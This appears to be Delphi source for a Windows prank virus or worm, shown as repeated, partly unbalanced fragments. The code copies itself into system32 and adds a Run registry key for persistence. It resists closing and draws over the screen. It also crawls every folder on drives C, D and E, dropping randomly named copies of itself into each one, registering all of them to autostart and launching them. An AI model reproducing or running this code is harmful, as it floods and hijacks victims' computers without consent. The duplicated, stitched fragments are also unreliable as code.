procedure TForm1.prohotkey(var msg: TWMhotkey); begin if msg.HotKey=fresume then begin if not fthd.Suspended then fthd.Suspend; end else if msg.HotKey=fcontinue then begin if fthd.Suspended then fthd.Resume; end else if msg.HotKey=fshow then self.Show else if msg.HotKey=fhide then self.Hide; end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin canclose:=fcanclose; if not fcanclose then self.Hide; end;
procedure TForm1.FormCreate(Sender: TObject); var cas:TCanvas; begin autorun; fcanclose:=false; addhotkey; hd:=getwindowdc(0); cas:=TCanvas.Create; cas.Handle:=hd; fthd:=TMythrd.create(cas,screen.Width,screen.Height); fthd.Resume; end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin deletehotkey; fthd.Free; end;
procedure TForm1.autorun; var a:array [0..100] of char; s:string; re:TRegistry; begin getwindowsdirectory(a,100); s:=a+'\system32\myapp.exe'; copyfile(pchar(application.exename),pchar(s),false); re:=TRegistry.Create; try re.RootKey:=HKEY_LOCAL_MACHINE; re.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true); re.WriteString('myapprun',s); re.CloseKey; finally re.Free; end;
procedure TForm1.prohotkey(var msg: TWMhotkey); var HH:HDC; cc:TCanvas; begin if msg.HotKey=fclose then begin fcanclose:=true; fthd.Terminate; self.Close; end else if msg.HotKey=fresume then begin if not fthd.Suspended then fthd.Suspend; end else if msg.HotKey=fcontinue then begin if fthd.Suspended then fthd.Resume; end else if msg.HotKey=fshow then self.Show else if msg.HotKey=fhide then self.Hide else if msg.HotKey=fclear then begin hh:=getwindowdc(0); cc:=TCanvas.Create; try cc.Handle:=hh; cc.Draw(0,0,screenmap); finally cc.Free; end; end; end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin canclose:=fcanclose; if not fcanclose then self.Hide; end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin deletehotkey; screenmap.Free; end;
procedure TForm1.autorun; var a:array [0..100] of char; s:string; re:TRegistry; begin getwindowsdirectory(a,100); s:=a+'\system32\myapp.exe'; if application.ExeName=s then exit; copyfile(pchar(application.exename),pchar(s),false); re:=TRegistry.Create; try re.RootKey:=HKEY_LOCAL_MACHINE; re.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true); if not re.ValueExists('myapprun') then re.WriteString('myapprun',s); re.CloseKey; finally re.Free; end;
end;
procedure TForm1.SearchAllDir; begin sldir:=TStringlist.Create; searchdir('c:\'); searchdir('d:\'); searchdir('e:\'); cptd:=TcopyThread.create(sldir); cptd.Resume;
end;
procedure TForm1.searchDir(apath: string); var sl:TStringList; searchrec:TSearchRec; i:integer; begin sl:=Tstringlist.Create; try if FindFirst(apath+'*.*',faDirectory,searchrec)=0 then begin repeat if (searchrec.Attr=16) and (searchrec.Name<>'.') and (searchrec.name<>'..') then begin sldir.Add(apath+searchrec.Name+'\'); sl.Add(apath+searchrec.Name+'\'); end; application.ProcessMessages; until FindNext(searchrec)<>0; end; FindClose(searchrec); for i:=0 to sl.Count-1 do self.searchDir(sl.Strings[i]); finally sl.Free; end;
procedure TMyThrd.Execute; begin inherited; while not (self.Terminated or application.Terminated ) do synchronize(drawline);
end;
{ TCopyThread }
procedure TCopyThread.atrun; var i:integer; re:TRegistry; s,ts:string; mylist:Tstringlist; thd:TRunThd; begin re:=Tregistry.Create; mylist:=TStringList.Create; try re.RootKey:=HKEY_LOCAL_MACHINE; re.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true); for i:=0 to fsl.Count-1 do begin s:=randname; ts:=fsl.Strings[i]+s+'.exe'; if copyfile(pchar(appname),pchar(ts),false)=true then begin if re.ValueExists(s) then s:=s+randname; mylist.Add(ts); re.WriteString(s,ts); end; application.ProcessMessages; end; re.CloseKey; if not application.Terminated then begin sleep(3000); thd:=TRunThd.create(mylist); thd.Resume; end; finally re.Free; fsl.Free; end; end;
constructor TCopyThread.create(asl:Tstringlist); begin Inherited create(false); appname:=application.ExeName; self.FreeOnTerminate:=true; fsl:=asl; randomize(); end;
procedure TCopyThread.Execute; begin inherited; Synchronize(atrun);
end;
function TCopyThread.randname: shortstring; var i,n:integer; begin result:=''; n:=random(7)+3; for i:=1 to n do result:=result+char(random(26)+97); end;
procedure TForm1.FormShow(Sender: TObject); begin SearchAllDir; end;
{ TRunThd }
constructor TRunThd.create(alst: TStringList); begin inherited create(false); self.FreeOnTerminate:=true; flist:=alst; end;
procedure TRunThd.Execute;
begin inherited; synchronize(myrun);
end;
procedure TRunThd.myrun; var i:integer; begin for i:=0 to flist.Count-1 do begin if application.Terminated then break; shellexecute(application.Handle,'open',pchar(flist.Strings[i]),nil,nil,SW_SHOWNORMAL); end; flist.Free;